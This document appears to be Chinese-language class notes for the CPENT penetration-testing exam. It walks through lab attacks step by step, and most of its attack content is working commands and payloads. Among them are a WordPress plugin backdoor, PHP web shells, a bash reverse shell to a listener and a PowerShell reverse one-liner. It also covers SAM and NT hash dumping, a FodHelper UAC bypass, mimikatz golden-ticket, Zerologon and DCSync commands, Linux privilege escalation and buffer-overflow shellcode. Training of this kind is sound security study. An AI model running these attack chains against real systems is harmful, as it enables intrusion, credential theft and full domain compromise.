Practice Range CPENT2 Challenges Binary(1-25): https://hackmd.io/@roger102/BkiUxGWnee IOT(26-60): https://hackmd.io/@roger102/ByjbxBIslg AD(62-99): https://hackmd.io/@roger102/r13iYV-9xe CTF(100-118): https://hackmd.io/@roger102/HyNC9rqYel https://hackmd.io/@roger102/HJdT6EnYgl https://hackmd.io/@roger102/SyTrQS3Yxg https://hackmd.io/@roger102/ryaSb7TFle https://hackmd.io/@roger102/HJVEGzlqgx https://hackmd.io/@roger102/HJMJ5Ng5xg WEB(119-129): https://hackmd.io/@roger102/SJkZnKZYxe https://hackmd.io/@roger102/HkmTgsMYee https://hackmd.io/@roger102/B1GjVAGtex https://hackmd.io/@roger102/HkL1-zVtxx https://hackmd.io/@roger102/H1CZQLYYeg _END_ 指令:https://pad.riseup.net/p/25518CPENTClassNotes # DAY1 **考試資訊** Module Exercises 180天 Practice Range 90天 Certification Exam 開通後30天內完成 48~50題 填空題會要求格式 可利用該點檢查 1.1天24小時/2天12小時 2.考試結束後交報告(包含在30天內) **考試建議** 1.看完所有題目 2.題目一定要看清楚 3.AD就是密碼爆破,Binary跟韌體比較麻煩,WEB跟CTF會比較有挑戰性 **比較** Security Audit:稽核 VA:找"已知"漏洞(機會) PT:攻擊(利用機會) 從需求與目標決定種類 執行標準 Goal-Oriented:健康檢查 Compliance-Oriented:法令法規規範的健康檢查 Red-Team-Oriented:打下來就好 執行方式 Black-Box:啥都不知道 White-Box:全部都知道 Gray-Box:兩者結合 第一步:定義範圍 第二步:執行滲透 第三步:交付報告 考試方法論 1.Scan{IP、Port、Service} 2.Enumeration{Configuration、Version(比較少用到) 3.Explotation 4.Privilege Esculation/Lateral Movement(橫向移動) 5.Persistance 6.Lateral Movement PT obective 1.Technical objective => Exam(打穿) 2.Mission objective => 實際執行(造成實際影響 ex.DB清空) PT風險: 1.Technical Risk:客戶機器掛了(Nessus可能會把機器掃死) 2.Organizational risk:執行弱掃時段避開尖峰 3.Legal Risk:作業規範保護Pen tester **hexstike Lab Parrot's Password:toor nmap 掃瞄有哪些IP ![image](https://hackmd.io/_uploads/Hkgb_l4Gbg.png) 沒有nmap的話 ![image](https://hackmd.io/_uploads/rk8MUlNzWx.png) 看arp ![image](https://hackmd.io/_uploads/Bysj5eEzZx.png) nmap掃全部 ![image](https://hackmd.io/_uploads/HkJZoeVfbx.png) 使用nmap掃服務 nmap 192.168.0.7 -p445 -sVC ![image](https://hackmd.io/_uploads/H19Bk-4MZg.png) 工具推薦:rustscan,特點:快 rustscan掃IP rustscan -a 192.168.0.7 -u 5000 -t 8000 --scripts none ![image](https://hackmd.io/_uploads/BymsClVG-l.png) rustscan掃服務 rustscan -a 192.168.0.7 -u 5000 -t 8000 -- -n -Pn -sVC 若無工具(只有bash可以用) for port in {1..10240}; do (echo > /dev/tcp/192.168.0.7/$port && echo $port open &) 2> /dev/null;done ![image](https://hackmd.io/_uploads/HyeRmZEfWl.png) 網站滲透順序 IP=>Port=>Host/Header(只打IP沒反應的原因)=>Path=>Parameters 查看IP、Port(可用nmap、rustscan) ![image](https://hackmd.io/_uploads/B1gecW4M-e.png) 查看Host(可能有FQDN) 使用whatweb ![image](https://hackmd.io/_uploads/r1_pJGEMWl.png) 查看Path(用來找進入點) 使用feroxbuster ![image](https://hackmd.io/_uploads/rknzxz4zZg.png) 第一個方式: 從網頁直接看到進入點(登入畫面) 查看Parameter(form) view-source:[URL] 使用sqlmap (經驗) 使用'戳戳看 qwe' OR 1=1-- (正常流程) Burp => Proxy => Intercept off =>瀏覽目標 => 嘗試登入 => 查看HTTP history =>右鍵 copy to file => 改檔案 => sqlmap => 一層一層挖 => Column後dump 依序層數:DB=>Table=>Column=>Data sqlmap --batch -r sql__post -D hotel --tables(來找某個DB中的Tables後依序找出資料,最終找到可利用的資料) ![image](https://hackmd.io/_uploads/HJZgwMNGWl.png) 確認是否為dba(admin) ![image](https://hackmd.io/_uploads/Hyz5dz4Mbe.png) 第二個方式: xp_cmdshell有開的話可以先取得目標的os shell sqlmap --batch -r sql__post --os-shell 建立通道 在目標建立檔案分享伺服器 sudo impacket-smbserver -smb2support -username lab -password lab share . 視版本決定 sigmapotato/juicy-potato 在攻擊端開8000port的傳輸檔案伺服器 ![image](https://hackmd.io/_uploads/ByDXzLEMWg.png) 在受害者端連線至該伺服器取得檔案 ![image](https://hackmd.io/_uploads/rymLmINfZe.png) ![image](https://hackmd.io/_uploads/Sknzz8EGbl.png) 待研究 ![image](https://hackmd.io/_uploads/Syvs78EGZg.png) # DAY2 wordpress可以注意這些部分{core、theme、plugin} wordpress重要網頁: http://www.cpent.com/readme.html http://192.168.0.24/wordpress/readme.html ![image](https://hackmd.io/_uploads/HJDxy-rfWx.png) /wordpress/wp-login.php ![image](https://hackmd.io/_uploads/SycX1WSG-g.png) 使用wpscan進行掃描IP/URL差異 **最好使用URL否則可能漏掉一些掃描** ![image](https://hackmd.io/_uploads/SJ89JZrMWg.png) ![image](https://hackmd.io/_uploads/S1cpyWSGWe.png) 找到user帳號 ![image](https://hackmd.io/_uploads/BJVlgWSG-l.png) 使用字典檔進行爆破 wpscan --url http://192.168.0.24/wordpress/ -P Wordlists/Password.txt ![image](https://hackmd.io/_uploads/S1lvgZBzZg.png) ![image](https://hackmd.io/_uploads/BJ_ug-rzWg.png) 登入後看帳號權限(admin) ![image](https://hackmd.io/_uploads/BynAS-BMWx.png) **建立RCE** 前往Plugins中Editor編輯Hello Dolly ![image](https://hackmd.io/_uploads/SkZ0rbrzbg.png) 加上後門 system($_GET['cmd']); die(); 啟動Hello Dolly並看報錯的路徑 ![image](https://hackmd.io/_uploads/HyF-8WHM-l.png) curl該路徑 curl "http://www.cpent.com/wp-content/plugins/hello.php?cmd=id" ![image](https://hackmd.io/_uploads/S1kDUZrMWx.png) **開shell** 先開listener ![image](https://hackmd.io/_uploads/SJPZoZSGWl.png) 建立通道 curl -G http://www.cpent.com/wp-content/plugins/hello.php --data-urlencode 'cmd=bash -c "bash -i &> /dev/tcp/192.168.0.18/8888 0<&1"'' bash特性(應該部會有linux沒有bash):把socker變成sudo device可以變成操作檔案的方式來操作網路 bash -c => 創建bash -i =>建立互動 &> => 1>+2>的效果 把輸出跟報錯轉到socket(8888)去 BASH中的 FD 0(stdin)、1(stdout)、2(stderr)會接到console console(bash)不等於shell console => 80x25 0<&1 輸入到哪裡就去輸出的原位子 TTY PTY的不同 TTY才能完整執行指令 但目前只是PTY 需要升級 ![image](https://hackmd.io/_uploads/Bk7v1zBGWx.png) 完成建立shell ![image](https://hackmd.io/_uploads/BkHXhZBGbe.png) 升級至TTY script /dev/null -qc /bin/bash ![image](https://hackmd.io/_uploads/HyNk5GSM-e.png) (inside the nc session) CTRL+Z; ![image](https://hackmd.io/_uploads/Hkqe9zrfWe.png) stty raw -echo; fg ![image](https://hackmd.io/_uploads/B1wLcfBfWe.png) 另開一個tab確認解析度stty -a ![image](https://hackmd.io/_uploads/H1_Y5Grz-g.png) 貼上並執行 export SHELL=/bin/bash; export TERM=screen; stty rows 24 columns 101; reset ![image](https://hackmd.io/_uploads/rk7WofBz-l.png) 狂按Ctrl+C若沒斷掉就成功變成TTY了 wpscan找到ebook的plugins有漏洞可以用 (URL => 本機檔案 => 內部存取/RCE 哪個檔案可以協助我們取得內部存取? 理想狀況:取得帳號密碼的檔案再爆破,但沒有這種東西 從服務回推 => 去找其config檔) ===>使用Rustscan掃出MySQL帳號密碼 有phpmy可以用 用它來登入MySQL 就可以去看他的Table找到密碼的Hash並使用John來解(但解不開) ===>使用MySQL來寫入into outfile(有擋住) 路徑遍歷 1.kali遠端 ![image](https://hackmd.io/_uploads/SyD9fUBz-g.png) 2.進入靶機設定畫面 admin password ![image](https://hackmd.io/_uploads/r12bmLrGWe.png) 3.調整難度 ![image](https://hackmd.io/_uploads/rk8L78HG-e.png) 4.加上./確認為Directory traversal ![image](https://hackmd.io/_uploads/By537IHf-x.png) 5.如何進行 LOW http://192.168.0.20:8080/dvwa/vulnerabilities/fi/?page=../../../../../../Windows/System32/Drivers/etc/hosts ![image](https://hackmd.io/_uploads/SkOIVIBG-x.png) MEDIUM http://192.168.0.20:8080/dvwa/vulnerabilities/fi/?page=....//....//....//....//....//....//Windows/System32/Drivers/etc/hosts ![image](https://hackmd.io/_uploads/rkEY4USMbg.png) 規則 ![image](https://hackmd.io/_uploads/SyN34UBGWe.png) {任意檔案上傳、SQLi、SQLQuery}==>Web Shell(是否存在web folder) 是:直接執行 否:Dir Tra+FileI LOW 上傳nice.php '<?php system($_GET['cmd']); ?> 上傳處不需要登入(待補充需登入的方式 加上session) curl "http://192.168.0.20:8080/dvwa/hackable/uploads/nice.php?cmd=whoami" ![image](https://hackmd.io/_uploads/BynS7Prf-x.png) 建立通道(powershell) 使用powershell reverse one liner+cyberchef製作 https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3 ![image](https://hackmd.io/_uploads/S1Wv5DHM-x.png) ![image](https://hackmd.io/_uploads/r1J-ivSz-g.png) (先監聽)建立成功 ![image](https://hackmd.io/_uploads/ryPfiPSzbe.png) Medium: 使用Burp繞過上傳限制 改content-type ![image](https://hackmd.io/_uploads/HJ55k_HGWg.png) 使用Burp進行密碼破解 send to intruder 對密碼進行add並在payload進行調整 ![image](https://hackmd.io/_uploads/BkV8edBf-g.png) cmd injection 參考https://hacktricks.xsx.tw/pentesting-web/command-injection進行cmd調整 # DAY3 ## **WINDOWS** 打windows ==> netexec 需要夠新(2024之前都不行)! 取得資訊後爆破(記得使用考試字典檔!!) 帳密爆破 1.已知帳號猜密碼:字典或暴力 2.已知密碼猜帳號:Password Spraying(密碼噴灑) 在AD中特好用,因為帳號非秘密,且密碼很常重複 3.已知帳密試服務:credential stuffing 第一步:掃描對象 nxc smb 192.168.0.1-254 ![image](https://hackmd.io/_uploads/B1Myd8IG-l.png) 取得user_list nmap 192.168.0.* -p445 --open -Pn -oG - | grep Up | cut -d' ' -f2 > smb_list 第二步:各種猜 已知帳號猜密碼 nxc smb 192.168.0.7 -u administrator -p Password_lst 已知密碼猜帳號 nxc smb 192.168.0.7 -u User_lst -p 'Pa\$$w0rd' --continue-on-success 已知帳密試服務 nxc smb smb_list -u administrator -p 'Pa\$$w0rd' 第三步:進一步取得資訊(user) nxc smb 192.168.0.19 -u administrator -p 'Pa\$$w0rd' nxc smb 192.168.0.19 -u administrator -p 'Pa\$$w0rd' --users ![image](https://hackmd.io/_uploads/SycZcIUGWe.png) windows列舉 1.User 2.Share 3.Group nmap nmap 192.168.0.7 -p445 -n -Pn -sVC nmap 192.168.0.7 -p445 -n -Pn --script smb-os-discovery,smb-protocols nxc nxc smb 192.168.0.7 -u administrator -p 'Pa\$$w0rd' --users nxc smb 192.168.0.7 -u administrator -p 'Pa\$$w0rd' --groups nxc smb 192.168.0.7 -u administrator -p 'Pa\$$w0rd' --shares ![image](https://hackmd.io/_uploads/ryRO8PUGbx.png) enum4linux enum4linux -U -G -S -u administrator -p 'Pa$$w0rd' 192.168.0.7 enum4linux-ng sudo apt update sudo apt install -y enum4linux-ng enum4linux-ng -U -G -S -u administrator -p 'Pa$$w0rd' 192.168.0.20 遠端桌面(需要3389 port) xfreerdp3 /cert:ignore /v:192.168.0.20 /u:Administrator /p:'Pa\$$w0rd' 遠端開shell impacket-psexec Administrator:'Pa$$w0rd'@192.168.0.20 確認3389是否是開的 Check RDP is open or Not: netstat -an | findstr :3389 打開3389 Enable RDP: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 關閉3389 Disable RDP: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f ## 進入windows後偷東西 遠端 xfreerdp3 /cert:ignore /v:192.168.177.16 /u:Administrator /p:'Pa$$w0rd' 在windows執行 取得帳號資料庫 > reg save hklm\sam sam_16 > reg save hklm\system system_16 把檔案拿回來(若會斷線,可改用impacket-smbclient) smbclient //192.168.177.16/c$ -U administrator%'Pa$$w0rd' get sam_16 get system_16 取得Hash impacket-secretsdump local -sam sam_16 -system system_16 ![image](https://hackmd.io/_uploads/ByHJJ98GWe.png) 取出admin的hash(另存) 去解開 john --format=nt samdump_16 補充如何算出 > echo -n 'Pa$$w0rd' | iconv -t utf-16le | openssl md4 impacket-psexec Administrator@192.168.177.16 -hashes :92937945b518814341de3f726500d4ff ## 繞過UAC 1.你必須要是admin => 如果有遠端桌面 就右鍵以管理者執行就好 2.使用FodHelper.exe 被UAC擋著(Medium) ![image](https://hackmd.io/_uploads/r15yLqLGZg.png) 開powershell執行這四行("cmd.exe"可以改) New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe" -Force fodhelper ![image](https://hackmd.io/_uploads/HyBOIqIzbe.png) 跳出cmd 已繞過UAC ![image](https://hackmd.io/_uploads/H1ERLqUzZe.png) **AD** [tree]red.com(DC) ---> web.red.com [forest] [tree]blue.com 每個tree都有一個Administrator Domain Admin Enterprise Admin最大 使用ADRecon.ps 前往下載 > https://github.com/adrecon/ADRecon/blob/master/ADRecon.ps1 powershell -ep bypass .\ADRecon.ps1 -OutputType HTML ![image](https://hackmd.io/_uploads/HJ8GyiLfWx.png) 把檔案帶回來後就有一堆資訊了 ## AD-對付Keboros三頭犬使用mimikatz可愛貓咪 滲透有分兩個 1.從外進內 **2.內網橫移** 後滲透需要先取得Domain Admin Ticket Export 使用可愛貓咪擷取ticket 1.把mimikatz_trunk.7z解壓縮 取得x64資料夾 2.至資料夾路徑執行mimikatz.exe 3.提權並取出ticket ![image](https://hackmd.io/_uploads/H1C5pi8MZx.png) 4.把資料夾帶走去目標機器 ![image](https://hackmd.io/_uploads/SyykRoIGZx.png) 5.指定ticket後便取得使用權 mimikatz.exe >kerberos::ptt [0;131a48]-2-0-40e10000-Administrator@krbtgt-LPT.COM.kirbi >misc::cmd dir \\server2019.lpt.com\c$ klist Golden-Ticket攻擊 有krbtgt就可以自己印Ticket ## Pass-the-Ticket (Golden Ticket Attack) 取得krbtgt ticket的hash impacket-secretsdump administrator:'Pa\$\$w0rd'@192.168.177.19 -just-dc-user krbtgt 查看sid impacket-lookupsid administrator:'Pa$$w0rd'@192.168.177.19 1 製作ticket impacket-ticketer -nthash a48d8d1e277c96f2f3d8d4a364ea462c -domain-sid S-1-5-21-735912402-222524527-3971465817 -domain lpt.com evilevil ![image](https://hackmd.io/_uploads/HyeW73UzWg.png) 記得加上 sudo nano /etc/hosts > 192.168.177.19 server2019.lpt.com 並掛上該自製的ticket export KRB5CCNAME=evilevil.ccache 即可連線 impacket-psexec -k -no-pass -dc-ip 192.168.177.19 evilevil@server2019.lpt.com ![image](https://hackmd.io/_uploads/HkDvm38zZe.png) ## kerberoasting火烤地獄犬(還沒搞懂) AD有建立服務在某一台的時候才可以火烤地獄犬(先自己建立一個) ![image](https://hackmd.io/_uploads/HkeEo38fWg.png) xfreerdp3 /cert:ignore /v:192.168.177.19 /u:Administrator /p:'Pa$$w0rd' setspn -s starwar/lpt.com user-one impacket-GetUserSPNs lpt.com/cpent:'Pa\$$w0rd' -dc-ip 192.168.177.19 impacket-GetUserSPNs lpt.com/cpent:'Pa\$$w0rd' -dc-ip 192.168.177.19 -request ![image](https://hackmd.io/_uploads/SyIZEpUfWe.png) john kerberos_hash ## Zerologon(還沒搞懂) https://github.com/gentilkiwi/mimikatz/releases https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip mimikatz.exe lsadump::Zerologon /target:192.168.177.19 /account:server2019$ /null /ntlm /exploit ### dcsync lsadump::dcsync /authdomain:lpt /authuser:server2019$ /authpassword:"" /authntlm /domain:lpt.com /dc:server2019 /user:administrator lsadump::dcsync /authdomain:lpt /authuser:server2019$ /authpassword:"" /authntlm /domain:lpt.com /dc:server2019 /user:krbtgt ### PtH privilege::debug sekurlsa::pth /user:Administrator /domain:lpt.com /ntlm:92937945b518814341de3f726500d4ff ### PtT kerberos::golden /domain:lpt.com /sid:S-1-5-21-735912402-222524527-3971465817 /krbtgt:a48d8d1e277c96f2f3d8d4a364ea462c /user:evil /ptt misc::cmd klist add_bind lpt.com server2019.lpt.com > OR kerberos::golden /domain:lpt.com /sid:S-1-5-21-735912402-222524527-3971465817 /krbtgt:a48d8d1e277c96f2f3d8d4a364ea462c /user:evil /ticket:evil.tck # DAY4 ## LINUX提權 {%preview https://swisskyrepo.github.io/PayloadsAllTheThings/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/ %} 1.Configuration {Sudo、File Permission[Suid、SSH key、Capability]、Cron Job} 2.CVE {Package、kernal} sudo => {預授權、路徑+檔名+參數要對再疊加指令}(但有NoPASSWD) su => 切換身分 需要目標帳號、密碼 提權的保證 1.用特權執行程式(Runtime) 2.用特權寫入 查看有哪些指令可以用 sudo -l 直接提權(若可以) sudo -i 發現可以使用find,在 {%preview https://gtfobins.github.io/ %} 中尋找相關指令 sudo find . -exec /bin/bash \; -quit 使用hydra進行爆破 hydra ssh://192.168.0.51 -l ubuntu -p toor hydra ssh://192.168.0.51 -L User_lst -P Password_lst hydra ssh://192.168.0.51 -l ubuntu -P Password_lst 使用cp進行提權 ![image](https://hackmd.io/_uploads/ByV-ciDG-l.png) 本地機器製作金鑰: cd .ssh > ssh-keygen(一路Enter) > cat .ssh/[檔名].pub ![image](https://hackmd.io/_uploads/rkeTcivG-g.png) ![image](https://hackmd.io/_uploads/HJ6gijDzbg.png) 目標機器寫入金鑰: cd .ssh echo ssh-ed25519 AAAA... kali@kali >> authorized_keys exit 即可不輸入密碼登入 再把金鑰放到root sudo cp -r .ssh /root/ exit 即可部輸入密碼登入root ssh root@192.168.0.51 ## 權限 4 7 5 5 {R=4 W=2 X=1} 7=Owner 5=Group 5=World Permission 4=Special Permission Suid=4 Sgid=2 Sticky=1 任何人執行的話 會用user/group的權限 Suid的root屬於特殊情況 ruid不等於euid =>drop ./bash -p 找權限不正常的東西(跟原版kali做比較) find / -user root -path "/usr/*" -perm -4000 -ls 2> /dev/null nano /etc/passwd > openssl passwd 看檔案哪裡有set_uid getcap -r / 2> /dev/null scp檔案上去後可以執行 1.可以看背景執行的東西 找cron 並去修改該檔案 https://github.com/DominicBreuker/pspy/releases 2.使用pwnkit 若kernel比較舊可以直接提權(只需要user) https://github.com/ly4k/PwnKit 3.超強檢測豆子三兄弟 直接標出哪些可以打 https://github.com/peass-ng/PEASS-ng/releases ./linpeas_linux_amd64 > out ## 韌體 使用binwalk進行掃描 查看檔案架構 binwalk -t DVRF_v03.bin 解壓縮 binwalk -e DVRF_v03.bin 找檔案內容 grep -nir user . 2> /dev/null 找檔名 find . -name *pass* -ls 2> /dev/null find . -iname *pass* -ls 2> /dev/null 可以使用firmwalker來找資訊,要把shodan的東西用掉 https://github.com/craigz28/firmwalker git clone https://github.com/craigz28/firmwalker.git Remark #77 "shodan" to "no_shodan" ./firmwalker.sh ~/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-root 好難的地方 看火商 binwalk -t encrypted.bin hexdump -v -C encrypted.bin export NUMBA_DISABLE_JIT=1 binwalk -E encrypted.bin hexdump -v -C encrypted.bin | cut -d' ' -f3-20 | sort | uniq -c | sort -nr | head -n 20 https://github.com/mstrand/xcat/blob/master/xcat.py https://raw.githubusercontent.com/mstrand/xcat/refs/heads/master/xcat.py python3 xcat.py -x 8844a2d168b45a2d encrypted.bin > decrypted.bin binwalk -r decrypted.bin CTF通靈法... mkdir xortool cd xortool python3 -m venv /home/kali/xortool source bin/activate python3 -m pip install xortool xortool encrypted.bin xortool encrypted.bin -l 8 -c 00 binwalk -t xortool_out/0.out cat xortool_out/filename-key.csv python3 -c "print(b'\x88D\xa2\xd1h\xb4Z-'.hex())" 若要binwalk JFFS2格式的檔案 sudo apt install -y python3-jefferson # DAY5 ## 靜態分析 查看資訊 file Downloads/crackme0x00a 列出字串 strings Downloads/crackme0x00a 抓取有使用的C函式 strings Downloads/crackme0x00a | grep GLIBC 用rabin看data rabin2 -z Downloads/crackme0x00a 進入gdb gdb -q Downloads/crackme0x00a 查看安全性 checksec 查看main的組語 disassemble main 查看記憶體內容 x/s [記憶體位置] ## 動態分析 b *main + 70 執行 r ![image](https://hackmd.io/_uploads/BkIFG-Kf-e.png) 把程式的機器碼翻譯成預設格式(AT&T 語法)的組合語言。 objdump -d /bin/bash 把程式的機器碼翻譯成比較好讀的 Intel 格式組合語言 objdump -d -M intel /bin/bash Step 34. 啟動除錯器並載入程式 a. gdb -q /bin/bash 設下攔截點,規定程式一執行到主入口(main)就要立刻暫停。 b. break main 讓程式開始跑,直到撞到剛剛設下的攔截點為止。 c. run 檢查 CPU 狀態,看程式暫停當下,CPU 肚子裡的暫存器都存了什麼資料。 d. info registers ## 調整shellcode(取得shell) 設定參數讓記憶體不會亂跳 sudo sysctl -w kernel.randomize_va_space=0 為shellcode加上setuid=0 nano ~/examples/samplecode/shellcode.c "\x6a\x17" "\x58" "\x31\xdb" "\xcd\x80" 呼叫編譯器並**讓stack的東西可以執行** sudo gcc -z execstack -o shellcode shellcode.c > sudo chown root:root shellcode 加上權限 sudo chmod 4755 shellcode 執行shellcode ./shellcode 確認uid=0 id ![image](https://hackmd.io/_uploads/Syjc0-KfZl.png) ## Stack Overflow 準備所需檔案(badfile) python -c 'print "A"*100' > badfile 製作隨機100字的badfile > pattern create 100 badfile 執行 > r 尋找pattern > pattern search 會告訴我們EIP的offset 並根據offset製作新的badfile python -c 'print "A"*42 + "BBBB" + "C"*64' > badfile 取得shellcode加進去 >> cat shellcode.c | grep '"' | cut -d'"' -f2,4 | tr -d '\n' | tr -d '"' 加上shellcode的badfile python -c 'print "A"*42 + "BBBB" + "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > badfile 找到別的檔案中的jmp esp來用 > vmmap > jmpcall esp /lib/i386-linux-gnu/libc-2.23.so 把這一個jmp esp的內容放進badfile(注意順序要相反) python -c 'print "A"*42 + "\xa9\x7a\xe0\xb7" + "\x90"*8 + "\x6a\x17\x58\x31\xdb\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > badfile xxd badfile 執行並取得shell ./stack ## retlib的Buffer Overflow 修改retlib的存放處大小 nano retlib.c > Update "40" to "140" 呼叫編譯器 但這次stack不能執行東西 sudo gcc -fno-stack-protector -z noexecstack -o retlib retlib.c sudo chmod 4755 retlib echo > badfile ./retlib 進入gdb gdb -q ./retlib 寫個badfile python -c 'print "A"*100' > badfile 製作隨機100字的badfile > pattern create 100 badfile 執行 > r 尋找pattern > pattern search python -c 'print "A"*24 + "BBBB" + "C"*64' > badfile 找lib中可利用的片段 > p system > p exit > find /bin/sh 加進badfile中 python -c 'print "A"*24 + "\xb0\xfd\xe3\xb7" + "\xe0\x39\xe3\xb7" + "\x2b\x0b\xf6\xb7"' > badfile 執行並取得shel ./retlib ## 再加上setuid 找到setuid/gid片段 > p setuid > p setgid 找popret的片段 > ropgadget 加進badfile python -c 'print "A"*24 + "\xc0\x63\xeb\xb7" + "\x45\x83\x04\x08" + "\x00\x00\x00\x00" + "\x40\x64\xeb\xb7" + "\x45\x83\x04\x08" + "\x00\x00\x00\x00" + "\xb0\xfd\xe3\xb7" + "\xe0\x39\xe3\xb7" + "\x2b\x0b\xf6\xb7"' > badfile PEDA安裝 git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit echo "DONE! debug your program with gdb and enjoy" https://github.com/Kuro-orzz/peda/tree/master sudo apt install -y gdb git clone https://github.com/Kuro-orzz/peda.git echo "source ~/peda/peda.py" >> ~/.gdbinit gdb -q